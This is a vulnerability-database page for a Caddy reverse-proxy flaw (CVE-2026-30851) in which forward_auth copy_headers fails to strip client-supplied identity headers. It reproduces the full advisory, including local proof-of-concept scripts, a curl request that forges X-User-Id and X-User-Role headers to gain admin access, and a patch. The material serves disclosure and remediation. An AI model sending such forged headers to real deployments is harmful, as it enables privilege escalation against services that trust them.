Vulnerabilities in pkg:golang/github.com/caddyserver/caddy/v2/modules/caddyhttp/reverseproxy

PACKAGE
Advisory Identifier: GHSA-7r4p-vjf4-gxv4
Advisory Summary

CVE-2026-30851 is a HIGH (CVSS 8.1) caddy forward_auth copy_headers does not vulnerability (CWE-287: Improper Authentication) affecting Github.com/caddyserver/caddy/v2/modules/caddyhttp/reverseproxy libraries in the Go ecosystem. The issue involves caddy forward_auth copy_headers does not strip client-supplied headers, allowing identity injection and privilege escalation. Remediation is available by upgrading affected packages to version 2.11.2.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:golang/github.com/caddyserver/caddy/v2/modules/caddyhttp/reverseproxy

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:golang/github.com/caddyserver/caddy/v2/modules/caddyhttp/reverseproxy. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-7r4p-vjf4-gxv4 CVE-2026-30851 HIGH Caddy forward_auth copy_headers Does Not Strip Client-Supplied Headers, Allowing Identity Injection and Privilege Escalation

CVE-2026-30851 at a Glance

CVE Identifier CVE-2026-30851
GHSA Identifier GHSA-7r4p-vjf4-gxv4
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-287: Improper Authentication
Affected Product Github.com/caddyserver/caddy/v2/modules/caddyhttp/reverseproxy
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-30851

To remediate this vulnerability, upgrade all affected Github.com/caddyserver/caddy/v2/modules/caddyhttp/reverseproxy dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/caddyserver/caddy/v2/modules/caddyhttp/reverseproxy fixed: 2.11.2
Upgrade github.com/caddyserver/caddy/v2/modules/caddyhttp/reverseproxy to 2.11.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/caddyserver/caddy/v2/modules/caddyhttp/reverseproxy

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-30851, inspect your project dependencies for Github.com/caddyserver/caddy/v2/modules/caddyhttp/reverseproxy:

inspect dependencies for github.com/caddyserver/caddy/v2/modules/caddyhttp/reverseproxy

Analyze the terminal output to locate any version of Github.com/caddyserver/caddy/v2/modules/caddyhttp/reverseproxy in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.11.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In Github.com/caddyserver/caddy/v2/modules/caddyhttp/reverseproxy, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Caddy's `forward_auth` directive with `copy_headers` generates conditional header-set operations that only fire when the upstream auth service includes the named header in its response. No delete or remove operation is generated for the original client-supplied request header with the same name. When an auth service returns `200 OK` without one of the configured `copy_headers` headers, the client-supplied header passes through unchanged to the backend. Any requester holding a valid authentication token can inject arbitrary values for trusted identity headers, resulting in privilege escalation. This is a regression introduced by PR #6608 in November 2024. All stable releases from v2.10.0 onward are affected. --- ## Scope Argument This is a bug in the source code of this repository, not a misconfiguration. The operator uses `forward_auth` with `copy_headers` exactly as documented. The documentation contains no warning that client-supplied headers with the same names as `copy_headers` entries must also be stripped manually. The `forward_auth` directive is a security primitive whose stated purpose is to gate backend access behind an external auth service. A user of this directive reasonably expects that the backend cannot receive a client-controlled value for a header listed in `copy_headers`. The bug is traceable to a specific commit: PR #6608 (merged November 4, 2024), which added a `MatchNot` guard to skip the `Set` operation when the auth response header is absent. This change, while fixing a legitimate UX issue (headers being set to empty strings), removed the incidental protection that the previous unconditional `Set` provided. Before PR #6608, setting a header to an empty/unresolved placeholder overwrote the attacker-supplied value. After PR #6608, the attacker's value survives. The fix is a single-line code change in `modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go`. --- ## Affected Versions | Version | Vulnerable | |---|---| | <= v2.9.x | No (old code overwrote client value with empty placeholder) | | v2.10.0 (April 18, 2025) | Yes — first stable release containing PR #6608 | | v2.10.1 | Yes | | v2.10.2 | Yes | | v2.11.0 | Yes | | v2.11.1 (February 23, 2026, current) | Yes — unpatched | **Package:** `github.com/caddyserver/caddy/v2` **Affected file:** `modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go` --- ## Root Cause The `parseCaddyfile` function builds one route per `copy_headers` entry. Each route uses a `MatchNot` guard and a `Set` operation: ```go // from modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go (v2.11.1, identical in v2.10.x) copyHeaderRoutes = append(copyHeaderRoutes, caddyhttp.Route{ MatcherSetsRaw: []caddy.ModuleMap{{ "not": h.JSON(caddyhttp.MatchNot{MatcherSetsRaw: []caddy.ModuleMap{{ "vars": h.JSON(caddyhttp.VarsMatcher{ "{" + placeholderName + "}": []string{""}, }), }}}), }}, HandlersRaw: []json.RawMessage{caddyconfig.JSONModuleObject( handler, "handler", "headers", nil, )}, }) ``` The route runs only when `{http.reverse_proxy.header.X-User-Id}` (the auth service's response header) is non-empty. When the auth service does not return `X-User-Id`, the placeholder is empty, the `MatchNot` guard fires, the route is skipped, and the original client-supplied `X-User-Id` header is never removed. There is no `Delete` operation anywhere in this function. --- ## Minimal Reproduction Config **Caddyfile** (no redactions, as required): ``` { admin off auto_https off debug } :8080 { forward_auth 127.0.0.1:9091 { uri / copy_headers X-User-Id X-User-Role } reverse_proxy 127.0.0.1:9092 } ``` --- ## Reproduction Steps No containers, VMs, or external services are used. All services run as local processes. ### Step 1 — Start the auth service Save as `auth.py` and run `python3 auth.py` in a terminal: ```python # auth.py # Accepts any Bearer token, returns 200 OK with NO identity headers. # Represents a stateless JWT validator that checks signature only. import sys from http.server import HTTPServer, BaseHTTPRequestHandler class H(BaseHTTPRequestHandler): def do_GET(self): auth = self.headers.get('Authorization', '') code = 200 if auth.startswith('Bearer ') else 401 self.send_response(code) self.end_headers() sys.stdout.write(f'[auth] {self.command} {self.path} -> {code}\n') sys.stdout.flush() def log_message(self, *a): pass HTTPServer(('127.0.0.1', 9091), H).serve_forever() ``` ### Step 2 — Start the backend Save as `backend.py` and run `python3 backend.py` in a second terminal: ```python # backend.py # Echoes the identity headers it receives. import sys, json from http.server import HTTPServer, BaseHTTPRequestHandler class H(BaseHTTPRequestHandler): def do_GET(self): data = { 'X-User-Id': self.headers.get('X-User-Id', '(absent)'), 'X-User-Role': self.headers.get('X-User-Role', '(absent)'), } body = json.dumps(data, indent=2).encode() self.send_response(200) self.send_header('Content-Type', 'application/json') self.send_header('Content-Length', str(len(body))) self.end_headers() self.wfile.write(body) sys.stdout.write(f'[backend] saw: {data}\n') sys.stdout.flush() def log_message(self, *a): pass HTTPServer(('127.0.0.1', 9092), H).serve_forever() ``` ### Step 3 — Start Caddy ```bash caddy run --config Caddyfile --adapter caddyfile ``` ### Step 4 — Run the three test cases **Test A: No token — must be blocked (confirms auth is enforced)** ```bash curl -v http://127.0.0.1:8080/ ``` Expected: `HTTP/1.1 401` --- **Test B: Valid token, no injected headers (baseline)** ```bash curl -v http://127.0.0.1:8080/ \ -H "Authorization: Bearer token123" ``` Expected backend response: ```json { "X-User-Id": "(absent)", "X-User-Role": "(absent)" } ``` --- **Test C: ATTACK — valid token plus injected identity headers** ```bash curl -v http://127.0.0.1:8080/ \ -H "Authorization: Bearer token123" \ -H "X-User-Id: admin" \ -H "X-User-Role: superadmin" ``` Actual backend response (demonstrates the vulnerability): ```json { "X-User-Id": "admin", "X-User-Role": "superadmin" } ``` The backend receives the attacker-supplied identity values. The auth service accepted the token (correctly) but did not return `X-User-Id` or `X-User-Role`. Caddy skipped the `Set` operation due to the `MatchNot` guard but never deleted the original headers. The attacker-controlled values survived into the proxied request. **Test C is the proof of the vulnerability.** The attack requires only a valid (non-privileged) token. No admin account is needed. --- ## Full Debug Log Run Caddy with `debug` in the global block (included in the Caddyfile above). The relevant log lines from Test C will show: ``` DEBUG http.handlers.reverse_proxy selected upstream {"dial": "127.0.0.1:9091"} DEBUG http.handlers.reverse_proxy upstream responded {"status": 200} DEBUG http.handlers.reverse_proxy handling response {"handler": "copy_headers"} ``` Note that no log line will show a header deletion because no deletion occurs. The `X-User-Id` and `X-User-Role` headers are never touched. --- ## Impact Any deployment using `forward_auth` with `copy_headers` where the auth service validates credentials without returning identity headers in its response. This is common in: - Stateless JWT validators (verify signature, no response headers) - Session validators that leave identity decoding to the backend - Auth services where only some requests return identity headers Attack: 1. Attacker has any valid auth token 2. Attacker sends request with forged `X-User-Id: admin` and `X-User-Role: superadmin` 3. Auth service validates token, returns `200 OK`, no identity headers 4. Caddy skips `Set` (placeholder empty), never deletes original headers 5. Backend receives `X-User-Id: admin`, `X-User-Role: superadmin` 6. Backend grants admin access CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` = **8.1 High** --- ## Working Patch ```diff --- a/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go +++ b/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go @@ -216,6 +216,25 @@ func parseCaddyfile(h httpcaddyfile.Helper) ([]httpcaddyfile.ConfigValue, error) copyHeaderRoutes := []caddyhttp.Route{} for _, from := range sortedHeadersToCopy { to := http.CanonicalHeaderKey(headersToCopy[from]) placeholderName := "http.reverse_proxy.header." + http.CanonicalHeaderKey(from) + + // Security fix: unconditionally delete the client-supplied header + // before the conditional set runs. Without this, a client that + // pre-supplies a header listed in copy_headers can inject arbitrary + // values when the auth service does not return that header, because + // the MatchNot guard below skips the Set entirely (leaving the + // original client value intact). + copyHeaderRoutes = append(copyHeaderRoutes, caddyhttp.Route{ + HandlersRaw: []json.RawMessage{ + caddyconfig.JSONModuleObject( + &headers.Handler{ + Request: &headers.HeaderOps{ + Delete: []string{to}, + }, + }, + "handler", "headers", nil, + ), + }, + }) + handler := &headers.Handler{ Request: &headers.HeaderOps{ Set: http.Header{ ``` The `delete` route has no matcher, so it always runs. It fires before the existing `MatchNot + Set` route. The client-supplied header is cleared unconditionally. If the auth service provides the header, the subsequent `Set` then applies the correct value. If the auth service does not provide the header, the client's value is gone and the backend receives nothing. This is a minimal, targeted fix with no impact on existing functionality when the auth service returns the headers. --- ## Uniqueness Confirmation The following were checked and confirmed not to cover this vulnerability: - All 6 GHSA advisories published 2026-02-23: GHSA-x76f-jf84-rqj8, GHSA-g7pc-pc7g-h8jh, GHSA-hffm-g8v7-wrv7, GHSA-879p-475x-rqh2, GHSA-4xrr-hq4w-6vf4, GHSA-5r3v-vc8m-m96g - GitHub issue #7459 (malformed Host header) - GitHub issue #6610 (template placeholder leakage in copy_headers — fixed by PR #6608, which introduced this regression) - All Caddy community forum threads on `forward_auth`, `copy_headers`, and header stripping - CVE-2026-25748 (authentik auth bypass — root cause is in authentik cookie parsing, not Caddy) - CVE-2024-21494, CVE-2024-21499 (caddy-security third-party plugin, not Caddy core) - PR #6608 comment thread (no security discussion) - cvedetails.com Caddy product listing (no matching CVE) No prior report exists for this specific behavior. --- ## References - Vulnerable file (v2.11.1): https://github.com/caddyserver/caddy/blob/v2.11.1/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go - PR #6608 (introduced regression): https://github.com/caddyserver/caddy/pull/6608 - Issue #6610 (related UX bug, fixed by PR #6608): https://github.com/caddyserver/caddy/issues/6610 - forward_auth documentation: https://caddyserver.com/docs/caddyfile/directives/forward_auth --- ## Fix Fix PR - https://github.com/caddyserver/caddy/pull/7545 --- ## AI Disclosure An LLM was used to polish the report.

CVE-2026-30851 Affected Github.com/caddyserver/caddy/v2/modules/caddyhttp/reverseproxy Versions

1 component(s)
Fixed Versions:
2.11.2
Product / Package Ecosystem Affected Versions Fixed Version
github.com/caddyserver/caddy/v2/modules/caddyhttp/reverseproxy
Go
≥ 2.10.0
< 2.11.2
2.11.2

References

Frequently Asked Questions

What is CVE-2026-30851?
CVE-2026-30851 is a security vulnerability in Github.com/caddyserver/caddy/v2/modules/caddyhttp/reverseproxy involving Caddy forward_auth copy_headers Does Not Strip Client-Supplied Headers, Allowing Identity Injection and Privilege Escalation under CWE-287: Improper Authentication.
Which Github.com/caddyserver/caddy/v2/modules/caddyhttp/reverseproxy versions are affected?
Affected versions include releases prior to 2.11.2 across affected packages: github.com/caddyserver/caddy/v2/modules/caddyhttp/reverseproxy.
What version fixes CVE-2026-30851?
Upgrading to 2.11.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/caddyserver/caddy/v2/modules/caddyhttp/reverseproxy affected?
Yes, github.com/caddyserver/caddy/v2/modules/caddyhttp/reverseproxy is affected in releases prior to 2.11.2. Upgrade your dependency to 2.11.2 or later.
What is the CVSS score of CVE-2026-30851?
CVE-2026-30851 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-30851?
CVE-2026-30851 is classified under CWE-287: Improper Authentication (When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.).
How can I check Go dependencies for CVE-2026-30851?
Run the dependency tree command: 'inspect dependencies for github.com/caddyserver/caddy/v2/modules/caddyhttp/reverseproxy'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7r4p-vjf4-gxv4",
  "modified" : "2026-03-09T15:50:54Z",
  "published" : "2026-03-06T23:38:44Z",
  "aliases" : [ "CVE-2026-30851" ],
  "summary" : "Caddy forward_auth copy_headers Does Not Strip Client-Supplied Headers, Allowing Identity Injection and Privilege Escalation",
  "details" : "## Summary\n\nCaddy's `forward_auth` directive with `copy_headers` generates conditional header-set operations that only fire when the upstream auth service includes the named header in its response. No delete or remove operation is generated for the original client-supplied request header with the same name.\n\nWhen an auth service returns `200 OK` without one of the configured `copy_headers` headers, the client-supplied header passes through unchanged to the backend. Any requester holding a valid authentication token can inject arbitrary values for trusted identity headers, resulting in privilege escalation.\n\nThis is a regression introduced by PR #6608 in November 2024. All stable releases from v2.10.0 onward are affected.\n\n---\n\n## Scope Argument\n\nThis is a bug in the source code of this repository, not a misconfiguration.\n\nThe operator uses `forward_auth` with `copy_headers` exactly as documented. The documentation contains no warning that client-supplied headers with the same names as `copy_headers` entries must also be stripped manually. The `forward_auth` directive is a security primitive whose stated purpose is to gate backend access behind an external auth service. A user of this directive reasonably expects that the backend cannot receive a client-controlled value for a header listed in `copy_headers`.\n\nThe bug is traceable to a specific commit: PR #6608 (merged November 4, 2024), which added a `MatchNot` guard to skip the `Set` operation when the auth response header is absent. This change, while fixing a legitimate UX issue (headers being set to empty strings), removed the incidental protection that the previous unconditional `Set` provided. Before PR #6608, setting a header to an empty/unresolved placeholder overwrote the attacker-supplied value. After PR #6608, the attacker's value survives.\n\nThe fix is a single-line code change in `modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go`.\n\n---\n\n## Affected Versions\n\n| Version | Vulnerable |\n|---|---|\n| <= v2.9.x | No (old code overwrote client value with empty placeholder) |\n| v2.10.0 (April 18, 2025) | Yes — first stable release containing PR #6608 |\n| v2.10.1 | Yes |\n| v2.10.2 | Yes |\n| v2.11.0 | Yes |\n| v2.11.1 (February 23, 2026, current) | Yes — unpatched |\n\n**Package:** `github.com/caddyserver/caddy/v2`\n**Affected file:** `modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go`\n\n---\n\n## Root Cause\n\nThe `parseCaddyfile` function builds one route per `copy_headers` entry. Each route uses a `MatchNot` guard and a `Set` operation:\n\n```go\n// from modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go (v2.11.1, identical in v2.10.x)\ncopyHeaderRoutes = append(copyHeaderRoutes, caddyhttp.Route{\n    MatcherSetsRaw: []caddy.ModuleMap{{\n        \"not\": h.JSON(caddyhttp.MatchNot{MatcherSetsRaw: []caddy.ModuleMap{{\n            \"vars\": h.JSON(caddyhttp.VarsMatcher{\n                \"{\" + placeholderName + \"}\": []string{\"\"},\n            }),\n        }}}),\n    }},\n    HandlersRaw: []json.RawMessage{caddyconfig.JSONModuleObject(\n        handler, \"handler\", \"headers\", nil,\n    )},\n})\n```\n\nThe route runs only when `{http.reverse_proxy.header.X-User-Id}` (the auth service's response header) is non-empty. When the auth service does not return `X-User-Id`, the placeholder is empty, the `MatchNot` guard fires, the route is skipped, and the original client-supplied `X-User-Id` header is never removed.\n\nThere is no `Delete` operation anywhere in this function.\n\n---\n\n## Minimal Reproduction Config\n\n**Caddyfile** (no redactions, as required):\n\n```\n{\n    admin off\n    auto_https off\n    debug\n}\n\n:8080 {\n    forward_auth 127.0.0.1:9091 {\n        uri /\n        copy_headers X-User-Id X-User-Role\n    }\n    reverse_proxy 127.0.0.1:9092\n}\n```\n\n---\n\n## Reproduction Steps\n\nNo containers, VMs, or external services are used. All services run as local processes.\n\n### Step 1 — Start the auth service\n\nSave as `auth.py` and run `python3 auth.py` in a terminal:\n\n```python\n# auth.py\n# Accepts any Bearer token, returns 200 OK with NO identity headers.\n# Represents a stateless JWT validator that checks signature only.\nimport sys\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        auth = self.headers.get('Authorization', '')\n        code = 200 if auth.startswith('Bearer ') else 401\n        self.send_response(code)\n        self.end_headers()\n        sys.stdout.write(f'[auth] {self.command} {self.path} -> {code}\\n')\n        sys.stdout.flush()\n    def log_message(self, *a): pass\n\nHTTPServer(('127.0.0.1', 9091), H).serve_forever()\n```\n\n### Step 2 — Start the backend\n\nSave as `backend.py` and run `python3 backend.py` in a second terminal:\n\n```python\n# backend.py\n# Echoes the identity headers it receives.\nimport sys, json\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        data = {\n            'X-User-Id':   self.headers.get('X-User-Id',   '(absent)'),\n            'X-User-Role': self.headers.get('X-User-Role', '(absent)'),\n        }\n        body = json.dumps(data, indent=2).encode()\n        self.send_response(200)\n        self.send_header('Content-Type', 'application/json')\n        self.send_header('Content-Length', str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n        sys.stdout.write(f'[backend] saw: {data}\\n')\n        sys.stdout.flush()\n    def log_message(self, *a): pass\n\nHTTPServer(('127.0.0.1', 9092), H).serve_forever()\n```\n\n### Step 3 — Start Caddy\n\n```bash\ncaddy run --config Caddyfile --adapter caddyfile\n```\n\n### Step 4 — Run the three test cases\n\n**Test A: No token — must be blocked (confirms auth is enforced)**\n\n```bash\ncurl -v http://127.0.0.1:8080/\n```\n\nExpected: `HTTP/1.1 401`\n\n---\n\n**Test B: Valid token, no injected headers (baseline)**\n\n```bash\ncurl -v http://127.0.0.1:8080/ \\\n  -H \"Authorization: Bearer token123\"\n```\n\nExpected backend response:\n```json\n{\n  \"X-User-Id\":   \"(absent)\",\n  \"X-User-Role\": \"(absent)\"\n}\n```\n\n---\n\n**Test C: ATTACK — valid token plus injected identity headers**\n\n```bash\ncurl -v http://127.0.0.1:8080/ \\\n  -H \"Authorization: Bearer token123\" \\\n  -H \"X-User-Id: admin\" \\\n  -H \"X-User-Role: superadmin\"\n```\n\nActual backend response (demonstrates the vulnerability):\n```json\n{\n  \"X-User-Id\":   \"admin\",\n  \"X-User-Role\": \"superadmin\"\n}\n```\n\nThe backend receives the attacker-supplied identity values. The auth service accepted the token (correctly) but did not return `X-User-Id` or `X-User-Role`. Caddy skipped the `Set` operation due to the `MatchNot` guard but never deleted the original headers. The attacker-controlled values survived into the proxied request.\n\n**Test C is the proof of the vulnerability.**\n\nThe attack requires only a valid (non-privileged) token. No admin account is needed.\n\n---\n\n## Full Debug Log\n\nRun Caddy with `debug` in the global block (included in the Caddyfile above). The relevant log lines from Test C will show:\n\n```\nDEBUG   http.handlers.reverse_proxy     selected upstream  {\"dial\": \"127.0.0.1:9091\"}\nDEBUG   http.handlers.reverse_proxy     upstream responded  {\"status\": 200}\nDEBUG   http.handlers.reverse_proxy     handling response   {\"handler\": \"copy_headers\"}\n```\n\nNote that no log line will show a header deletion because no deletion occurs. The `X-User-Id` and `X-User-Role` headers are never touched.\n\n---\n\n## Impact\n\nAny deployment using `forward_auth` with `copy_headers` where the auth service validates credentials without returning identity headers in its response. This is common in:\n\n- Stateless JWT validators (verify signature, no response headers)\n- Session validators that leave identity decoding to the backend\n- Auth services where only some requests return identity headers\n\nAttack:\n1. Attacker has any valid auth token\n2. Attacker sends request with forged `X-User-Id: admin` and `X-User-Role: superadmin`\n3. Auth service validates token, returns `200 OK`, no identity headers\n4. Caddy skips `Set` (placeholder empty), never deletes original headers\n5. Backend receives `X-User-Id: admin`, `X-User-Role: superadmin`\n6. Backend grants admin access\n\nCVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` = **8.1 High**\n\n---\n\n## Working Patch\n\n```diff\n--- a/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go\n+++ b/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go\n@@ -216,6 +216,25 @@ func parseCaddyfile(h httpcaddyfile.Helper) ([]httpcaddyfile.ConfigValue, error)\n \tcopyHeaderRoutes := []caddyhttp.Route{}\n \tfor _, from := range sortedHeadersToCopy {\n \t\tto := http.CanonicalHeaderKey(headersToCopy[from])\n \t\tplaceholderName := \"http.reverse_proxy.header.\" + http.CanonicalHeaderKey(from)\n+\n+\t\t// Security fix: unconditionally delete the client-supplied header\n+\t\t// before the conditional set runs. Without this, a client that\n+\t\t// pre-supplies a header listed in copy_headers can inject arbitrary\n+\t\t// values when the auth service does not return that header, because\n+\t\t// the MatchNot guard below skips the Set entirely (leaving the\n+\t\t// original client value intact).\n+\t\tcopyHeaderRoutes = append(copyHeaderRoutes, caddyhttp.Route{\n+\t\t\tHandlersRaw: []json.RawMessage{\n+\t\t\t\tcaddyconfig.JSONModuleObject(\n+\t\t\t\t\t&headers.Handler{\n+\t\t\t\t\t\tRequest: &headers.HeaderOps{\n+\t\t\t\t\t\t\tDelete: []string{to},\n+\t\t\t\t\t\t},\n+\t\t\t\t\t},\n+\t\t\t\t\t\"handler\", \"headers\", nil,\n+\t\t\t\t),\n+\t\t\t},\n+\t\t})\n+\n \t\thandler := &headers.Handler{\n \t\t\tRequest: &headers.HeaderOps{\n \t\t\t\tSet: http.Header{\n```\n\nThe `delete` route has no matcher, so it always runs. It fires before the existing `MatchNot + Set` route. The client-supplied header is cleared unconditionally. If the auth service provides the header, the subsequent `Set` then applies the correct value. If the auth service does not provide the header, the client's value is gone and the backend receives nothing.\n\nThis is a minimal, targeted fix with no impact on existing functionality when the auth service returns the headers.\n\n---\n\n## Uniqueness Confirmation\n\nThe following were checked and confirmed not to cover this vulnerability:\n\n- All 6 GHSA advisories published 2026-02-23: GHSA-x76f-jf84-rqj8, GHSA-g7pc-pc7g-h8jh, GHSA-hffm-g8v7-wrv7, GHSA-879p-475x-rqh2, GHSA-4xrr-hq4w-6vf4, GHSA-5r3v-vc8m-m96g\n- GitHub issue #7459 (malformed Host header)\n- GitHub issue #6610 (template placeholder leakage in copy_headers — fixed by PR #6608, which introduced this regression)\n- All Caddy community forum threads on `forward_auth`, `copy_headers`, and header stripping\n- CVE-2026-25748 (authentik auth bypass — root cause is in authentik cookie parsing, not Caddy)\n- CVE-2024-21494, CVE-2024-21499 (caddy-security third-party plugin, not Caddy core)\n- PR #6608 comment thread (no security discussion)\n- cvedetails.com Caddy product listing (no matching CVE)\n\nNo prior report exists for this specific behavior.\n\n---\n\n## References\n\n- Vulnerable file (v2.11.1): https://github.com/caddyserver/caddy/blob/v2.11.1/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go\n- PR #6608 (introduced regression): https://github.com/caddyserver/caddy/pull/6608\n- Issue #6610 (related UX bug, fixed by PR #6608): https://github.com/caddyserver/caddy/issues/6610\n- forward_auth documentation: https://caddyserver.com/docs/caddyfile/directives/forward_auth\n\n---\n\n## Fix\nFix PR - https://github.com/caddyserver/caddy/pull/7545\n\n---\n\n## AI Disclosure\n\nAn LLM  was used to polish the report.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/caddyserver/caddy/v2/modules/caddyhttp/reverseproxy"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.10.0"
      }, {
        "fixed" : "2.11.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/caddyserver/caddy/security/advisories/GHSA-7r4p-vjf4-gxv4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-30851"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/caddyserver/caddy/issues/6610"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/caddyserver/caddy/pull/6608"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/caddyserver/caddy/pull/7545"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/caddyserver/caddy"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-287", "CWE-345" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-06T23:38:44Z",
    "nvd_published_at" : "2026-03-07T17:15:52Z"
  }
}